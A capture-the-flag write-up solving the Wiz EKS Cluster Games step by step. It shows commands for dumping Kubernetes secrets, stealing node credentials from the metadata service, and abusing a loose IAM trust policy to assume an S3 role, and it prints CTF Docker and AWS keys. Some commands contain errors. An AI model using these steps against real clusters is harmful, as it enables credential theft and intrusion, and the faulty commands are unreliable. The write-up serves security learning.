Skip to content

EKS ClusterGames CTF Writeup

Published: at 12:00 AM

Introduction

The EKS Cluster Games, a cloud security Capture The Flag (CTF) focuses on the Kubernetes platform.

The challenge consists of five different scenarios, focusing on an EKS issue. You will play as an attacker to learn and exploit the environment. Here, this is a walkthrough on how to find the flag.

Secret Seeker

Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

It starts with a shell and we have access to list the secrets.

kubectl get secrets

Get more information about log-rotate secret.

kubectl get secret log-rotate -o yaml

Copy and paste the base64 encoded code and decode it.

echo d2l6X2Vrc19ja... | base64 --decode

Output: wiz_eks_challenge{omg_over_privileged_secret_access}

Registry Hunt

A thing we learned during our research: always check the container registries. For your convenience, the crane utility is already pre-installed on the machine.

{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}

we are eligible to use K8 resources only for pods and secrets. Try to list the namespace to confirm.

kubectl get ns

As expected, namespace listing is forbidden.

Error from server (Forbidden): namespaces is forbidden: User
"system:serviceaccount:challenge2:service-account-challenge2" cannot list
resource "namespaces" in API group "" at the cluster scope

Get more information about the pod.

kubectl get pods
kubectl describe pod database-pod-2c9b3a4e
kubectl get pod database-pod-2c9b3a4e -o yaml

You found out the image registry.

image: eksclustergames/base_ext_image
imagePullSecrets: registry-pull-secrets-780bab1d

Pull the image using a crane. crane is a tool for interacting with remote images and registries.

crane pull eksclustergames/base_ext_image

We know that we have private images and need to get some credentials to an account that has access to private images. Usually, you have to define a secret for kubernetes to be able to pull from private registries. We are still not able to get permission. Since we have the image pull secret. Get more information about registry-pull-secrets.

kubectl get secrets registry-pull-secrets-780bab1d -o yaml

Decode the base64 message.

echo eyJhdXR... | base64 --decode

Response after decoding base64 message.

{
    "auths":
        {
            "index.docker.io/v1/":
                {
                    "auth": "ZWtzY2x1c3Rlc..."
                }
        }
}

We got another decoded message. Let’s decode again.

echo ZWtzY2x1c... | base64 --decode

Output: eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

Let’s try to authenticate with a crane and get more information about the private image.

crane auth login --help
crane auth login -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo docker.io

Get some enumeration to download the image registry.

Image Inquisition

A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

Remember: You are running inside a compromised EKS pod. For your convenience, the crane utility is already pre-installed on the machine.

Permission

{
    "pods": [
        "list",
        "get"
    ]
}

Let’s list out the pod and get more information.

kubectl get pod
kubectl get pod accounting-pod-876647f8 -o yaml

We can see the image container hosted on AWS ECR. Let’s pull the image using crane.

crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo...

We are unauthorized at this time. We are running pods at EKS, we can steal the metadata credentials.

curl http://169.254.169.254/latest/meta-data/iam/...

Next, we set the environment variables for aws credentials.

export AWS_ACCESS_KEY_ID= xxxx
export AWS_SECRET_ACCESS_KEY = xxxx
export AWS_SESSION_TOKEN = xxxx

You can also use aws configure to set aws credentials.

Let’s retrieve information about the AWS Identity and Access Management (IAM) user or role associated with the credentials.

aws sts get-caller-identity

Get an ECR token as it has some permission to pull the ECR image referenced in the pod.

export PASSWORD=$(aws ecr get-login-password)
crane auth login -u AWS -p PASSWORD 688655246681.dkr.ecr.us-west-1.amazonaws.com

Retrieve the flag from the configuration file again.

crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo... | jq

Flag: wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future}

Pod Break

You’re inside a vulnerable pod on an EKS cluster. Your pod’s service-account has no permissions. Can you navigate your way to access the EKS Node’s privileged service-account?

Please be aware: Due to security considerations aimed at safeguarding the CTF infrastructure, the node has restricted permissions

List the pod available in the EKS node.

kubectl get pod

We can’t get access and its forbidden. Do we have any access ?

kubectl auth can-i --list

We have the least privileged access. Let’s get more detail on our aws and other credentials.

root@wiz-eks-challenge:~# ls
root@wiz-eks-challenge:~# ls -la
total 20
drwxr-xr-x 5 root root  114 Dec 29 01:39 .
drwxr-xr-x 3 root root   18 Oct 31 16:26 ..
drwxr-xr-x 2 root root   39 Dec 29 01:39 .aws
-rw------- 1 root root 7759 Dec 29 01:50 .bash_history
-rw-r--r-- 1 root root 3771 Dec 29 00:45 .bashrc
drwx------ 2 root root   25 Dec 29 01:43 .docker
drwxr-xr-x 3 root root   51 Dec 29 01:50 .kube
-rw------- 1 root root   20 Dec 29 01:39 .lesshst
-rw------- 1 root root 1076 Dec 29 01:39 .viminfo

Let’s retrieve information about the AWS Identity and Access Management (IAM) user or role associated with the credentials.

root@wiz-eks-challenge:~# aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-node..."
}

From the ARN, we got the cluster name, eks-challenge-cluster.

We don’t have permission to run both describe and list the cluster.

aws eks describe-cluster --name eks-challenge-cluster

We are able to retrieve a token using get-token.

aws eks get-token --cluster-name eks-challenge-cluster
{
    "kind": "ExecCredential",
    "apiVersion": "client.authentication.k8s.io/v1beta1",
    "spec": {},
    "status": {
        "expirationTimestamp": "2023-12-29T02:15:59Z",
        "token": "k8s-aws-v1.aHR0cHM6Ly9zdHMudXMt..."
    }
}

Using token you can operate managed k8 resources without kubeconfig. Find the token.

aws eks get-token --cluster-name eks-challenge-cluster \
    && jq '.status.token'

Set the TOKEN variable to use in kubectl command.

export TOKEN=$(aws eks get-token --cluster-name eks-challenge-cluster \
    && jq '.status.token' -r)

List the access of K8 resources.

kubectl --token "$TOKEN" auth can-i --list

We are able to retrieve the flag from the secrets.

kubectl --token "$TOKEN" get secret -o json

Decode the base64 message.

kubectl --token "$TOKEN" get secret -o json \
    && jq -r '.items[0].data.flag' | base64 --decode

Container Secrets Infrastructure

You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

Trust policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc..."
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/C0...": "sts.amazonaws.com"
                }
            }
        }
    ]
}
{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

See the k8 user permission scope.

kubectl auth can-i --list

We can see the user has permission on pods, secrets, and service accounts. Let’s enumerate and figure out more.

kubectl get sa

We have two service accounts, namely debug-sa, and s3access-sa. Let’s create the service account token for each and check the privilege.

kubectl get sa s3access-sa -o yaml

We find the role ARN of the role by looking at the annotations. Let’s create for s3access-sa.

kubectl create token s3access-sa

We don’t have permission to create here. Before creating a token for another service account, observe the IAM Trust Policy. It’s missing the sub claim of the k8 token. Due to this lack, we can actually assume the role with any service account.

export TOKEN=$(kubectl create token debug-sa)
kubectl --token $TOKEN auth can-i --list

Let’s try to use $TOKEN from debug-sa to assume the role.

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name test --web-identity-token $TOKEN

The default audience for a token created with kubectl is https://kubernetes.default.svc. Here with policy, it doesn’t seem working. Copy and paste the token to jwt.io for decoding. Let’s try creating it again with sts.amazonaws.com.

export TOKEN=$(kubectl create token debug-sa --audience sts.amazonaws.com)
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role
--role-session-name test --web-identity-token $TOKEN

Respond.

{
    "Credentials": {
        "AccessKeyId": "ASIA2AVYNEVMZ34IIW4E",
        "SecretAccessKey": "n7rMT/THcmtgNiXrP7mWD4hDOI5rv40xRN2vQeiX",
        "SessionToken": "IQoJb3J...",
        "Expiration": "2023-12-29T06:54:52+00:00"
    },
    "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:test",
        "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test"
    },
    "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
    "Audience": "sts.amazonaws.com"
}

We have finally gotten AWS Credentials. Let’s configure aws credentials.

export AWS_ACCESS_KEY_ID=xxxx...
export AWS_SECRET_ACCESS_KEY=xxxx...
export AWS_SESSION_TOKEN=xxxx...

aws sts get-caller-identity

We got the new role and we have the bucket. Let’s fetch arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag.

aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag -

flag: wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}

Conclusion

This CTF was quite challenging. kudos to Wiz team for this challenge.

You can also try Kubernetes for Everyone, A friendly learning CTF that I had made. I have also written the writeup for this too.

If you found this article helpful, keep sharing.